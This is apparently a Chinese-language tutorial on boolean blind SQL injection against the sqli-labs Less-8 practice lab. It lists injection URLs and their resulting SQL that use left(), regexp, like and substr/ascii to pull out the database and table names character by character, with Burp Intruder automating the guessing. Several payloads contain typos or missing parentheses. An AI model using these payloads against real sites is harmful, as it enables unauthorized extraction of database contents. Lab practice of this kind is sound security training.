渗透(五)之MySQL的布尔注入

SQL盲注–bool注入

布尔盲注的原理

渗透(五)之MySQL的布尔注入_第1张图片
后端不往前端返回具体的数据库的值,通过页面显示正常与否,判断SQL注入的值是否为真。

布尔盲注方法:

渗透(五)之MySQL的布尔注入_第2张图片

针对sqli-labs/less-8

一开始:

当url为
127.0.0.1/less-8/?id=1
对应的SQL语句
SELECT * FROM users WHERE id = ‘1’ LIMIT 0,1

先测试系统有无SQL注入漏洞

当url为
127.0.0.1/less-8/?id=1’
结果:
发现页面正常情况下You are in…
加上’之后You are in 不在了
对应的SQL语句为
SELECT * FROM users WHERE id = ‘1’’ LIMIT 0,1

127.0.0.1/less-8/?id=1’and ‘1’='1
SELECT * FROM users WHERE id = '1’and ‘1’=‘1’ LIMIT 0,1
发现页面返回正常仍然是 You are in…

127.0.0.1/less-8/?id=1’ and ‘1’='2
SELECT * FROM users WHERE id = ‘id=1’ and ‘1’=‘2’ LIMIT 0,1
页面返回不正常,看不到 You are in…

所以判断网页是存在SQL注入漏洞的

源码分析:

渗透(五)之MySQL的布尔注入_第3张图片
没有报错注入,代码的正确回显并没有返回数据库的内容,只能根据页面是否返回条件,判断SQL语句是否正确。

进行布尔盲注

使用left

127.0.0.1/less-8/id=1’ and left((select database()),1)=‘s’–+
SELECT * FROM users WHERE id = ‘1’ and left((select database()),1)=‘s’–+’ LIMIT 0,1
判断当前库的首字母是不是’s’
返回You are in …
说明当前数据库首字母是’s’

查当前库中,第一个库中第一个表的第一个首字母
构造url方法:
127.0.0.1/less-8/id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+
SELECT * FROM users WHERE id = ‘1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+’ LIMIT 0,1
借助bp方法:
使用bp的Intruder模块进行一个盲注,快速循环表名的每个字母

同样的方法结合bp,判断数据库里有哪些列。

实现对数据库信息的获取

使用regix

查询当前库名,正则表达第一位是以s开头
127.0.0.1/less-8/?id=1’ and (select database()) regexp ‘^s’ --+
SELECT * FROM users WHERE id = ‘1’ and (select database()) regexp ‘^s’ --+’ LIMIT 0,1
页面返回 You are in…表示数据库的首字母确实为s

如果对数据库中的表进行查询
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp ‘^s’ --+
结合bp快速判断

使用like

判断当前数据库中以e开头的表
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’–+

substr+ascii

127.0.0.1/less-8/?id=1’ and ascli(substr(seletc database(),1,1))=98–+

你可能感兴趣的:(渗透)